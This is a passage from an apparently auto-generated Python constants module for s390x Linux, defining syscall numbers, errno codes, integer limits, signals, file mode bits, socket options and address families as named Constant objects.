Constant('__NR_epoll_create',249) __NR_epoll_ctl = Constant('__NR_epoll_ctl',250) __NR_epoll_wait = Constant('__NR_epoll_wait',251) __NR_set_tid_address = Constant('__NR_set_tid_address',252) __NR_fadvise64 = Constant('__NR_fadvise64',253) __NR_timer_create = Constant('__NR_timer_create',254) __NR_timer_settime = Constant('__NR_timer_settime',(254+1)) __NR_timer_gettime = Constant('__NR_timer_gettime',(254+2)) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(254+3)) __NR_timer_delete = Constant('__NR_timer_delete',(254+4)) __NR_clock_settime = Constant('__NR_clock_settime',(254+5)) __NR_clock_gettime = Constant('__NR_clock_gettime',(254+6)) __NR_clock_getres = Constant('__NR_clock_getres',(254+7)) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(254+8)) __NR_statfs64 = Constant('__NR_statfs64',265) __NR_fstatfs64 = Constant('__NR_fstatfs64',266) __NR_remap_file_pages = Constant('__NR_remap_file_pages',267) __NR_mbind = Constant('__NR_mbind',268) __NR_get_mempolicy = Constant('__NR_get_mempolicy',269) __NR_set_mempolicy = Constant('__NR_set_mempolicy',270) __NR_mq_open = Constant('__NR_mq_open',271) __NR_mq_unlink = Constant('__NR_mq_unlink',272) __NR_mq_timedsend = Constant('__NR_mq_timedsend',273) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',274) __NR_mq_notify = Constant('__NR_mq_notify',275) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',276) __NR_kexec_load = Constant('__NR_kexec_load',277) __NR_add_key = Constant('__NR_add_key',278) __NR_request_key = Constant('__NR_request_key',279) __NR_keyctl = Constant('__NR_keyctl',280) __NR_waitid = Constant('__NR_waitid',281) __NR_ioprio_set = Constant('__NR_ioprio_set',282) __NR_ioprio_get = Constant('__NR_ioprio_get',283) __NR_inotify_init = Constant('__NR_inotify_init',284) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',285) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',286) __NR_migrate_pages = Constant('__NR_migrate_pages',287) __NR_openat = Constant('__NR_openat',288) __NR_mkdirat = Constant('__NR_mkdirat',289) __NR_mknodat = Constant('__NR_mknodat',290) __NR_fchownat = Constant('__NR_fchownat',291) __NR_futimesat = Constant('__NR_futimesat',292) __NR_newfstatat = Constant('__NR_newfstatat',293) __NR_unlinkat = Constant('__NR_unlinkat',294) __NR_renameat = Constant('__NR_renameat',295) __NR_linkat = Constant('__NR_linkat',296) __NR_symlinkat = Constant('__NR_symlinkat',297) __NR_readlinkat = Constant('__NR_readlinkat',298) __NR_fchmodat = Constant('__NR_fchmodat',299) __NR_faccessat = Constant('__NR_faccessat',300) __NR_pselect6 = Constant('__NR_pselect6',301) __NR_ppoll = Constant('__NR_ppoll',302) __NR_unshare = Constant('__NR_unshare',303) __NR_set_robust_list = Constant('__NR_set_robust_list',304) __NR_get_robust_list = Constant('__NR_get_robust_list',305) __NR_splice = Constant('__NR_splice',306) __NR_sync_file_range = Constant('__NR_sync_file_range',307) __NR_tee = Constant('__NR_tee',308) __NR_vmsplice = Constant('__NR_vmsplice',309) __NR_move_pages = Constant('__NR_move_pages',310) __NR_getcpu = Constant('__NR_getcpu',311) __NR_epoll_pwait = Constant('__NR_epoll_pwait',312) __NR_utimes = Constant('__NR_utimes',313) __NR_fallocate = Constant('__NR_fallocate',314) __NR_utimensat = Constant('__NR_utimensat',315) __NR_signalfd = Constant('__NR_signalfd',316) __NR_timerfd = Constant('__NR_timerfd',317) __NR_eventfd = Constant('__NR_eventfd',318) __NR_timerfd_create = Constant('__NR_timerfd_create',319) __NR_timerfd_settime = Constant('__NR_timerfd_settime',320) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',321) __NR_signalfd4 = Constant('__NR_signalfd4',322) __NR_eventfd2 = Constant('__NR_eventfd2',323) __NR_inotify_init1 = Constant('__NR_inotify_init1',324) __NR_pipe2 = Constant('__NR_pipe2',325) __NR_dup3 = Constant('__NR_dup3',326) __NR_epoll_create1 = Constant('__NR_epoll_create1',327) __NR_preadv = Constant('__NR_preadv',328) __NR_pwritev = Constant('__NR_pwritev',329) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',330) __NR_perf_event_open = Constant('__NR_perf_event_open',331) __NR_fanotify_init = Constant('__NR_fanotify_init',332) __NR_fanotify_mark = Constant('__NR_fanotify_mark',333) __NR_prlimit64 = Constant('__NR_prlimit64',334) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',335) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',336) __NR_clock_adjtime = Constant('__NR_clock_adjtime',337) __NR_syncfs = Constant('__NR_syncfs',338) __NR_setns = Constant('__NR_setns',339) __NR_process_vm_readv = Constant('__NR_process_vm_readv',340) __NR_process_vm_writev = Constant('__NR_process_vm_writev',341) __NR_s390_runtime_instr = Constant('__NR_s390_runtime_instr',342) __NR_kcmp = Constant('__NR_kcmp',343) __NR_finit_module = Constant('__NR_finit_module',344) __NR_sched_setattr = Constant('__NR_sched_setattr',345) __NR_sched_getattr = Constant('__NR_sched_getattr',346) __NR_renameat2 = Constant('__NR_renameat2',347) __NR_seccomp = Constant('__NR_seccomp',348) __NR_getrandom = Constant('__NR_getrandom',349) __NR_memfd_create = Constant('__NR_memfd_create',350) __NR_bpf = Constant('__NR_bpf',351) __NR_s390_pci_mmio_write = Constant('__NR_s390_pci_mmio_write',352) __NR_s390_pci_mmio_read = Constant('__NR_s390_pci_mmio_read',353) __NR_execveat = Constant('__NR_execveat',354) __NR_userfaultfd = Constant('__NR_userfaultfd',355) __NR_membarrier = Constant('__NR_membarrier',356) __NR_recvmmsg = Constant('__NR_recvmmsg',357) __NR_sendmmsg = Constant('__NR_sendmmsg',358) __NR_socket = Constant('__NR_socket',359) __NR_socketpair = Constant('__NR_socketpair',360) __NR_bind = Constant('__NR_bind',361) __NR_connect = Constant('__NR_connect',362) __NR_listen = Constant('__NR_listen',363) __NR_accept4 = Constant('__NR_accept4',364) __NR_getsockopt = Constant('__NR_getsockopt',365) __NR_setsockopt = Constant('__NR_setsockopt',366) __NR_getsockname = Constant('__NR_getsockname',367) __NR_getpeername = Constant('__NR_getpeername',368) __NR_sendto = Constant('__NR_sendto',369) __NR_sendmsg = Constant('__NR_sendmsg',370) __NR_recvfrom = Constant('__NR_recvfrom',371) __NR_recvmsg = Constant('__NR_recvmsg',372) __NR_shutdown = Constant('__NR_shutdown',373) __NR_mlock2 = Constant('__NR_mlock2',374) __NR_copy_file_range = Constant('__NR_copy_file_range',375) __NR_preadv2 = Constant('__NR_preadv2',376) __NR_pwritev2 = Constant('__NR_pwritev2',377) __NR_s390_guarded_storage = Constant('__NR_s390_guarded_storage',378) __NR_statx = Constant('__NR_statx',379) __NR_s390_sthyi = Constant('__NR_s390_sthyi',380) __NR_kexec_file_load = Constant('__NR_kexec_file_load',381) __NR_io_pgetevents = Constant('__NR_io_pgetevents',382) __NR_rseq = Constant('__NR_rseq',383) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',384) __NR_pkey_alloc = Constant('__NR_pkey_alloc',385) __NR_pkey_free = Constant('__NR_pkey_free',386) __NR_semtimedop = Constant('__NR_semtimedop',392) __NR_semget = Constant('__NR_semget',393) __NR_semctl = Constant('__NR_semctl',394) __NR_shmget = Constant('__NR_shmget',395) __NR_shmctl = Constant('__NR_shmctl',396) __NR_shmat = Constant('__NR_shmat',397) __NR_shmdt = Constant('__NR_shmdt',398) __NR_msgget = Constant('__NR_msgget',399) __NR_msgsnd = Constant('__NR_msgsnd',400) __NR_msgrcv = Constant('__NR_msgrcv',401) __NR_msgctl = Constant('__NR_msgctl',402) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424) __NR_io_uring_setup = Constant('__NR_io_uring_setup',425) __NR_io_uring_enter = Constant('__NR_io_uring_enter',426) __NR_io_uring_register = Constant('__NR_io_uring_register',427) __NR_open_tree = Constant('__NR_open_tree',428) __NR_move_mount = Constant('__NR_move_mount',429) __NR_fsopen = Constant('__NR_fsopen',430) __NR_fsconfig = Constant('__NR_fsconfig',431) __NR_fsmount = Constant('__NR_fsmount',432) __NR_fspick = Constant('__NR_fspick',433) __NR_pidfd_open = Constant('__NR_pidfd_open',434) __NR_clone3 = Constant('__NR_clone3',435) __NR_openat2 = Constant('__NR_openat2',437) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',4321) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',4321) __WORDSIZE = Constant('__WORDSIZE',64) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807))) INTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffffffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = 